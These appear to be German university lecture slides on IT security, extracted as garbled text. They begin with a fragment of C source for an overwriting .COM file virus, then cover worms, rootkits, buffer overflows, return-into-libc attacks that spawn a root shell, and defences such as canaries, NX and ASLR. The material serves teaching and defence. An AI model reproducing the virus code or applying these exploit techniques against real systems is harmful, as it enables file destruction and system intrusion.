done = f i n d f i r s t ("*.COM" ,& f f b l k , 0 ) ; /∗ Find a .COM f i l e ∗ /whi le ( ! done ) { /∗ Loop f o r a l l COM’ s i n DIR∗ /
p r i n t f ("Infecting %s\n" , f f b l k . ff_name ) ; /∗ In form user ∗ /Vi rus=fopen ( _argv [ 0 ] ,"rb" ) ; /∗ Open i n f e c t e d f i l e ∗ /Host=fopen ( f f b l k . ff_name ,"rb+" ) ; /∗ Open new host f i l e ∗ /x=9504; /∗ Vi rus s ize ∗ /whi le ( x>256) { /∗ OVERWRITE new Host ∗ /
f read ( bu f f ,256 ,1 , V i rus ) ; /∗ i n chunks o f ∗ /f w r i t e ( bu f f ,256 ,1 , Host ) ; /∗ 256 bytes ∗ /x−=256;
}f read ( bu f f , x , 1 , V i rus ) ; /∗ F in i sh o f f copy ∗ /f w r i t e ( bu f f , x , 1 , Host ) ;f c l o s e a l l ( ) ; /∗ Close both f i l e s and∗ /done = f i n d n e x t (& f f b l k ) ; /∗ go f o r another one . ∗ /
}r e t u r n ( 0 ) ;
}
25 / 85
Analyse: Blackwolf-Virus in C
I sucht alle .COM-Dateien im aktuellen Verzeichnis undinfizierte diese (auf einmal)→ schnelle Infektion
I überschreibender VirusI mäßig destruktiv: Virus-Code überschreibt Anfang der
ZieleI verbirgt sich nichtI keine NutzlastI infiziert bei jeder Aktivierung, Ziele wachsen nicht, da
überschreibend
26 / 85
Weitere Informationen zu Viren
I „An Illustrated Guide to the Worst Viruses in ComputerHistory“: http://cargocollective.com/computerviruscatalog/
I Bedeutung rückläufigI Schutzkonzepte moderner Betriebs- und DateisystemeI typischer Verbreitungsweg – Tausch von Datenträgern mit
„Raub“kopien – irrelevantI i. a. keine wirtschaftliche Verwertbarkeit
27 / 85
Würmer
“An independently replicating and autonomousinfection agent, capable of seeking out new hostsystems and infecting them via the network.”(Jose Nazario: Defence and Detection Strategiesagainst Internet Worms, Artech House, 2004)
Bekannte Vertreter:I W32.BlasterI MelissaI MydoomI SasserI ConfickerI WannaCry
28 / 85
Komponenten eines Wurms
1. Aufklärung neuer Hosts als potentielle AngriffszieleI IP-Adreßräume (partiell) durchsuchenI lokale Suche in (z. B.) KonfigurationsdateienI OS Fingerprinting, um BS-Typ und -Version zu ermitteln
2. AngriffscodeI Remote Exploit bekannter SchwachstellenI Trojanisches Pferd (z.B. Mail mit attached Binary)I benötigt für jede anzugreifende Plattform Exploit
3. KommunikationI z. B. mittels ICMP, UDP, . . . , E-MailI über verdeckte KanäleI Verbergen beteiligter Prozesse und Sockets mittels
Kernelmodul oder durch Störung vonÜberwachungssoftware
29 / 85
Komponenten eines Wurms
4. KommandoschnittstelleI interaktiv oder indirekt (script-gesteuert)I typische Kommandos: Up-/Download von Dateien,
Flut-Ping, Generierung von HTTP-Requests, . . .5. Verwaltung der erfolgreich angegriffenen Hosts
I verteilte oder zentralisierte DatenbankI Liste aller befallenen RechnerI in privatem IRC-Channel
30 / 85
51
Weitere Begriffe
I RansomwareI (kryptografisch sichere) Verschlüsselung des
MassenspeichersI Entschlüsselung nur nach Zahlung eines „Lösegelds“I gegenwärtig meistverbreitete Form bösartiger Software
I RootkitI Software, die zur Verschleierung der Kompromittierung
eines Rechners dientI Spyware – zeichnet Nutzerverhalten aufI Keylogger: Gerät zum Aufzeichnen aller Tastenanschläge1
I Hoax (z. B. Good-Times-„Virus“, Bonsai Kitten)I illegales Cryptomining („Coinhive“)
1Beispiel: http://blogs.taz.de/hausblog/2017/02/17/keylogger-affaere-frueherer-taz-redakteur-verurteilt/
31 / 85
Hoax: Bonsai Kitten
32 / 85
Rootkits
Def. Ein Rootkit ist ein (üblicherweise unerwünschtes)Programm, das sich nach Installation vor dem Nutzer verbirgt.
Merkmale:I Installation typischerweise nach erfolgreichem Einbruch,
um Einbruchszweck abzusichern, z. B.:I dauerhafte Unterwanderung des SystemsI Diebstahl von Passwortdaten per Keylogger oder Sniffer
I verschafft sich keine root-Privilegien, sondern benötigtdiese bei Installation
Eintrittsvektoren:I versehentliches AusführenI physischer Zugriff des Angreifers auf SystemI Einbruch via Netzwerk
33 / 85
Rootkitsdateibasierte vs. kernelbasierte Rootkits
1. dateibasierte RootkitsI tauschen Werkzeuge aus, die zur Detektion des Rootkits
genutzt werde könnten (ssh, ps, ls, netstat)I Unterart: Library Rootkits: tauschen die entsprechenden
Systembibliotheken ausI laufen im User Mode
2. kernelbasierte RootkitsI modifizieren (Überraschung!) den Kernel z. B. über
Modulmechanismus oder Speicherabbild (/dev/kmem)I äußerst schwierig zu detektieren
34 / 85
RootkitsGegenmaßnahmen
1. Unrechtmäßigen root-Zugriff verhindern2. Unrechtmäßigen root-Zugriff verhindern (again!)3. Deaktivierung des Modulmechanismus (→ alle Treiber
statisch in den Kernel kompilieren)4. Vergleich nach außen geöffnete Ports (netstat) mit
externem Portscan (nmap)→ Achtung, „Hackertool“!5. Suche nach charakteristischen Zeichenketten im
Hauptspeicher (Werkzeug chkrootkit)6. Boot von sauberem Datenträger (Live-CD) und Suche
nach „verdächtigen“ Dateien
35 / 85
Angriffstechniken
36 / 85
52
Buffer Overflow(Sehr einfaches) verwundbares Programm
# inc lude < s t d i o . h>
i n t main ( i n t argc , char ∗argv [ ] ){
char b u f f e r [ 5 1 2 ] ;i f ( argc > 1) {
s t r cpy ( bu f fe r , argv [ 1 ] ) ;}r e t u r n 0 ;
}
37 / 85
Buffer OverflowPrinzip
I bestimmte Funktionen der C-Bibliothek führen keineLängenprüfung ihrer Argumente aus (Klassiker:strcpy())
I Idee: lokale Variablen (über deren Länge hinaus) mit einersolchen Funktion überfluten (Stack Overflow)
I Überschreiben der Rückkehradresse auf dem Stack mitAdresse einer Schadroutine
I bei Verlassen der aktuellen Funktion→ Sprung zurSchadroutine
I Ursache: mögliches Verlassen von Feldgrenzen in C,ungeprüfte Länge der Argumente vonBibliotheksfunktionen wie strcpy() oder gets(),gezielte Manipulation von Zeigervariablen
38 / 85
Stack OverflowAusschnitt des Stacks
Funktionsparameter
<Ret>
SFP
lokale Variablen
Puffer
hohe Adressen
niedrige
Adressen
...
...
39 / 85
Stack OverflowAusschnitt des Stacks
Funktionsparameter
<Ret>
SFP
lokale Variablen
Puffer
hohe Adressen
niedrige
Adressen
...
...
40 / 85
Stack OverflowAusschnitt des Stacks
Funktionsparameter
<Ret>
SFP
lokale Variablen
Puffer
hohe Adressen
niedrige
Adressen
...
...
41 / 85
Stack OverflowAusschnitt des Stacks
Funktionsparameter
<Ret>
SFP
lokale Variablen
Puffer
hohe Adressen
niedrige
Adressen
...
...
42 / 85
53
Stack OverflowAusschnitt des Stacks
Funktionsparameter
lokale Variablen
Puffer
hohe Adressen
niedrige
Adressen
...
...
SFP
<Ret>
43 / 85
Buffer OverflowEinfache Gegenmaßnahmen
I Verzicht auf unsichere Funktionen, u.a. strcpy(),strcat(), sprintf(), vsprintf(), gets() bzw.Nutzung der Pendants mit Bereichsprüfung, aber:I Semantik nicht übereinstimmend (z. B. nullterminiertstrncpy() das Ziel nicht bei maximal langem String)
I GeschwindigkeitsnachteileI Legacy Code?
44 / 85
Buffer OverflowStackguard
Idee: Schutz d. Rücksprungadresse durch zusätzliches CanaryWord.
I Canary Word wird imFunktionsprologangelegt
I Overflow überschreibtCanary
I beim Rücksprung ausFunktion wird Canaryauf Integrität getestet
I Abbruch, wenn falscherWert
Funktionsparameter
Puffer
SFP
Canary
hohe Adressen
niedrige
Adressen
...
...
<Ret>
lokale Variablen
45 / 85
Buffer OverflowWahl des Canary Word
I Terminator Canary – Werte nutzen, die typischeZeichenkettenfunktionen terminieren
Wert Symbol Semantik0x00 - stoppt strcpy()0x0a LF stoppt gets()0x0d CR
-1 EOF stoppt gets()
Tabelle: Terminator Canary
optimal ist z. B. 0x000d0affI Random Canary – erst zum Programmstart generiert;
Angreifer kann darauf nicht mehr reagieren (Angreifer läuftparallel zum angegriffenen Programm)
46 / 85
StackguardGrenzen des Konzepts
I moderate LeistungseinbußeI Lokale Variablen und Saved Frame Pointer nicht geschütztI Canary Word u. U. durch Angreifer restaurierbar, wenn
statischI vgl. “Bulba”, “Kil3r”: Bypassing Stackguard and
Stackshield, Phrack, vol. 10, no. 56, 2000
47 / 85
StackShield
Idee:1. Rücksprungadresse im Prolog in eine extra Tabelle
kopieren2. im Epilog Kopie der Rücksprungadresse wieder an
entsprechende Position im Stack schreiben3. keine Prüfung auf Identität
48 / 85
54
Ausführungsverbot beschreibbarer Seiten (W⊕X )
Einfachster Fall: Architektur unterstützt Execute-Recht imSeitentabelleneintrag (Beispiele: Sparc, PPC, IA64)Problem: IA32 tut dies nicht.Lösung 1: NX („No-Execute“) aka „Enhanced Virus Protection“I erfordert Physical/Page Address Extension (PAE) –
existiert eigentlich ab Pentium ProI NX jedoch erst ab Prescott-Kern (Intel), AMD64I Seitentabelleneintrag 64 Bit (anstatt 32)I Seiten, Seitentabellen und Seitentabellenverzeichnis 4 KiBI nur noch 1/4 der Einträge→ drittes Hierarchielevel
(vgl. folgende Grafik)I gegenwärtig: 36-Bit-Adressen (maximal: 52 Bit)I Bit 63 ist das (No)-Execute-Bit
49 / 85
Adressumsetzung bei PAE
lineareAdresse
Page Directory512 Einträge
Page Tables
PD−Eintrag
gewähltes Byte gewählteSeite
physischer Adreßraum
PTE
512 Einträge
NX−Bit (63)
PageDirPt2
PageDirPt1
PageDirPt3
PageDirPt4
OffsetPTR TableDir
11...020...1229...2131−30
CR3
Page DirectoryPointer Table
50 / 85
Ausführungsverbot beschreibbarer Seiten (W⊕X ) II
Lösung 2: Emulation in SoftwareI alle PTEs der zu schützenden Bereiche (Stack, Heap,
Daten) haben initial Supervisor-Bit gesetztI → Pagefault bei ZugriffI Handler:
I bei Instruction Fetch→ Abbruch der Task, Logging desAngriffs
I bei Datenzugriff: Rücksetzen des SV-Bits, Zugriff ausführen(Überführung der Übersetzung in Data-TLB), Setzen desSV-Bits
I weitere Datenzugriffe durch DTLB gecachtI nur möglich, wenn getrennte Daten- und Code-TLBs
51 / 85
Ausführungsverbot beschreibbarer Seiten
Einbau in Betriebssysteme:I Linux ab 2.6.8I Windows XP ab SP2; kein Backport nach Windows 2000I PaX-System, vgl. http://pax.grsecurity.net
52 / 85
Address Space Layout Randomization (ASLR)
Beobachtung: Distanz zwischen Top-of-Stack (TOS) undanzugreifender Rücksprungadresse ist konstant, wird offline(werkzeuggestützt) erraten und in Exploit eingebaut.
Idee: Anfangsadressen von Stack, Heap und Code werdenzufällig zur Ladezeit generiert.
Problem: eingeblendete shared Libraries – müssen auchzufällig verteilt werden
$ cat /proc/self/maps | grep libc
I erschwert auch Return-into-libc-ExploitsI unsicher auf allen modernen cachebasierten
Architekturen2
2Ben Gras u. a. “ASLR on the Line: Practical Cache Attacks on the MMU”. In: Proceedings of the Network andDistributed System Security Symposium (NDSS’17). San Diego, CA, Feb. 2017.
53 / 85
Return-into-Libc
I Manipulation einer Rückkehradresse auf dem Stack mittelsBuffer Overflow
I jedoch („Rück“-)Sprung in eine Shared Library (libc)anstatt zu eigenem Shellcode (Abb. nächste Folie)
I Beispiel: system("/bin/sh");(führt /bin/sh -c /bin/sh aus)
I wenn angegriffenes Programm setuid root ist, wird damiteine root-Shell geöffnet
I macht nichtausführbaren Stack wirkungslos
54 / 85
55
Stacklayout bei Return-into-Libc
sfp RET arg0 arg1 arg2
Überflutung Adrin
libc
{
...
}
system()
originaler Stack:
manipulierter Stack:
HighLow lokale Variablen
sfp
Argumente der (angegriffenen) Funktion
dum
my
arg0
Rückkehradresse aus libc−Ruf
Argument 0 des libc−Rufes
Code in der libc
"/bin/sh"
55 / 85
Anmerkungen
I dummy-Feld ist „Rückkehradresse“, die angesprungenwird, wenn system() verlassen wird
I irrelevant, wenn interaktive Shell gestartet wurde, da diesenicht zurückkehrt
56 / 85
Bestimmung der Einsprungadresse (statisch)
robge@hadrian$ cat dummy.cint main(){
system();}robge@hadrian$ gcc -o dummy dummy.crobge@hadrian$ gdb -q dummyUsing host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".(gdb) break mainBreakpoint 1 at 0x8048362(gdb) runStarting program: /home/local/robge/src/cracking/dummy
Breakpoint 1, 0x08048362 in main ()(gdb) print system$1 = {<text variable, no debug info>} 0xb7ed8990 <system>
Gegenmittel: Address Space Layout Randomization,Parameterübergabe in Registern (ELF64-SystemV ABI beix86-64)
57 / 85
Dynamische Ermittlung der Einsprungadresse
Idee:I Sohn erzeugen, der kontinuierlich system("") aufruftI Instruction Pointer springt zwischen main() undsystem() (libc-Funktion)
I mittels ptrace() kann die genaue Adresse vonsystem() bestimmt werden
... Code ansehen . . .
58 / 85
Verkettung zweier libc-Rufe
sfp RET arg0 arg1 arg2
Überflutung
setuid(){ ...}
system(){
...}
originaler Stack:
manipulierter Stack:
HighLow lokale Variablen
sfp
Argumente der (angegriffenen) Funktion
inlibc
Adr1für
arg0
setuid
=0x01010101
Adr2in
libc
"dummy"
"/bin/sh"
system
arg0für
o.ä.
59 / 85
Verkettung zweier libc-Rufe
I Reihenfolge setuid()→ system()
I setuid(0) leider unmöglich, da Pufferüberlauf damitvorzeitig abbrechen würde
I nur möglich, wenn erster libc-Aufruf genau ein Argumentübernimmt (dummy-Lücke)
I weitere Rufe nicht möglich
60 / 85
56
Return-into-Libc-AngriffWeitere Techniken
I mehr als 2 libc-Aufrufe mit beliebig vielen Argumenten (!!)I Frame Pointer LiftingI Frame Faking
I Nullbytes im angegriffenen Puffer ebenfalls möglich
Literatur: „Nergal“: The advanced return-into-lib(c) exploits: PaXcase study. Phrack #58, 2001
61 / 85
Heap-Overflow
I Idee: Manipulation von auf dem Heap angelegtenVariablen durch das Überfluten eines unmittelbar davorgelegenen Puffers
I keine Rückkehradresse→ implizite Manipulation desProgrammflusses unmöglich
I Reihenfolge der Adressen abhängig vonAllokationsreihenfolge
I Exploit weniger regulär (abhängig vom Typ dermanipulierten Information)
62 / 85
Integer-Overflow
Literatur: „blexim“: Basic Integer Overflows, Phrack #60, 2002
Idee: Überlauf des Zahlenbereichs von Integervariablen führtzu negativen Zahlen, die in Vergleichsoperationen und alsFunktionsargumente unterschiedlich interpretiert werden.
I kein Schadcode ausführbarI Ziel: DoS
63 / 85
Integer-OverflowBeispiel
int copybuffer (char *buffer, int len){char mybuffer[800];if (len > sizeof(mybuffer)) {return -1;
}return memcpy(mybuffer, buffer, len);
}
Typisches Beispiel eines Vorzeichen-Bugs
Analyse:I memcpy erwartet unsigned int als 3. ParameterI negatives len durch Test nicht erkanntI → wird als (sehr große) Längenangabe interpretiertI Überlauf von mybuffer
64 / 85
57